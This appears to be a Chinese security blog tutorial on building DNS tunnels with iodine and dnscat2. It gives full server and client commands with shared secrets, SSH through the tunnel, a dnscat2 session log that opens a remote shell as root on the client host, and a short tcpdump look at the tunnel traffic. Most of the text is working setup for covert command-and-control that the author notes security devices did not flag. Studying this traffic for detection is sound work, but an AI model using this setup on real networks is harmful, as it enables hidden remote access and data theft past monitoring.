域名準備
選擇哪家的云都沒問題,這里我選擇的TX云,因為之前注冊過了,自己拿來做個流量分析不成問題。
域名添加解析記錄
需要準備自己的vps作為DNS隧道的服務端,且需要添加ns記錄

iodined
關閉53端口關閉開機自啟
systemctl stop systemd-resolved systemctl disable systemd-resolved

之后53端口已關閉
啟動服務端
iodined -f -c -P 1qaz@WSX 192.168.100.1 ns.xxx.xyz -DD
參數說明
-f:在前臺運行 -c:禁止檢查所有傳入請求的客戶端IP地址。 -P:客戶端和服務端之間用于驗證身份的密碼。 -D:指定調試級別,-DD指第二級。“D”的數量隨級別增加。

客戶端
iodine -f -P 1qaz@WSX ns.aligoogle.xyz -M 200

客戶端連接正常,且服務端顯示客戶端連接成功

查看客戶端網卡,因為配置的時候一直不太穩定,所以這里服務端分配的虛擬網卡我更換為了192.168.121.1

測試隧道是否通信

延時比較高,也不穩定。
通過隧道連接目標主機
ssh -p 2222 root@192.168.121.2
這里我換ssh的端口了
但是發現安全設備在連接高危端口的時候無告警
流量分析
抓取dns0網卡的流量
tcpdump -i dns0 port 53 -w file.pcap
參數-i 指定網卡, port 指定端口,DNS使用53端口,-w 寫入文件。
查看日志發現所有的流量都是DNS日志,但是目的都為自己的VPS

其實能夠根據流量特征識別工具類型。

試錯
本來我是想使用穿透工具通過隧道穿透的,這里使用nps做隧道走socks,想走虛擬網卡需要修改nps配置文件
./npc -server=192.168.120.1:63323 -vkey=n4jg3lrvg19qlqth -type=tcp
查看nps上線后,需要做端口轉發,不做端口轉發無法直接使用虛擬地址的隧道,這里其實沒有這么走的意義
但是這里發現行不通,參考了一些文章,發現某位師傅寫的有點兒問題,這里大可不必,沒有所謂的套層+轉口轉發,單一走隧道都不穩定以及卡的要死,怎么玩兒套娃。
dnscat2搭建
安裝準備
git clone https://github.com/iagox86/dnscat2.git cd dnscat2/server/ curl -sSL https://get.rvm.io | bash source /etc/profile.d/rvm.sh rvm install 2.6.0 source /etc/profile.d/rvm.sh rvm use 2.6.0 gem install bundler

bundle install ruby ./dnscat2.rb

需要注意這里開放vps的53的udp端口
firewall-cmd --zone=public --add-port=53/udp --permanent firewall-cmd --reload
國內服務器騰訊云的話需要更換源,下載文件需要科學上網,境內下載tools找不到服務
客戶端
git clone https://github.com/iagox86/dnscat2.git cd dnscat2/client/ make ./dnscat --dns server=IP,port=53 --secret=f361f307f523b07352d0bab1b765a888 //直連模式 ./dnscat --dns server=ling.domain --secret=1qaz2wsx //中繼模式
直連模式
Server:

Client:

中繼模式
ruby ./dnscat2.rb ns.domain -e open -c 1qaz2wsx --no-cache

客戶端
./dnscat --dns domain=ling.domain --secret=1qaz2wsx ./dnscat --dns server=www.domain --secret=1qaz2wsx


服務端命令
sessions 列出所有session session -i 2 進入session 2 shell:創建交互式shell suspend:返回上一層 exit:退出 clear(清屏) delay(修改遠程會話超時時間) exec(執行遠程機上的程序) shell(得到一個反彈shell,此處必須在1::command(kali)中使用) download/upload(兩端之間上傳下載文件) listen <本地端口> <控制端IP/127.0.0.1>:<端口>(端口轉發,此處)(此處必須在1::command(kali)中使用) dnscat2> session -i 1 New window created: 1 history_size (session) => 1000 Session 1 Security: ENCRYPTED AND VERIFIED! (the security depends on the strength of your pre-shared secret!) This is a command session! That means you can enter a dnscat2 command such as 'ping'! For a full list of clients, try 'help'. command (ubuntu) 1> whoami Error: Unknown command: whoami command (ubuntu) 1> shell Sent request to execute a shell command (ubuntu) 1> New window created: 2 Shell session created! whoami Error: Unknown command: whoami command (ubuntu) 1> session -i 2 New window created: 2 history_size (session) => 1000 Session 2 Security: ENCRYPTED AND VERIFIED! (the security depends on the strength of your pre-shared secret!) This is a console session! That means that anything you type will be sent as-is to the client, and anything they type will be displayed as-is on the screen! If the client is executing a command and you don't see a prompt, try typing 'pwd' or something! To go back, type ctrl-z. sh (ubuntu) 2> whoami sh (ubuntu) 2> root

tcpdump -i dns0 port 53 -w file.pcap


流量包內的數據內容

請求包和回包區別不大,在返回包多了域名的信息的TXT記錄加密傳輸信息,可以看到DNS的查詢請求的域名信息前的一串數據,里面就是加密過后的交互數據。
其他工具
跟工具關系不大,隧道的話DNS只要ip和域名沒標簽,其實走的都是udp的協議,所以在安全設備上都是流量數據,其類似的工具有dns2tcp等,但是總體來講該隧道比較慢不穩定,比較慢且傳輸不支持大流量傳輸。
合天網安實驗室
信息安全與通信保密雜志社
天億網絡安全
信息安全與通信保密雜志社
安全圈
RacentYY
RacentYY
天億網絡安全
穿過叢林
一顆小胡椒
FreeBuf
GoUpSec
GoUpSec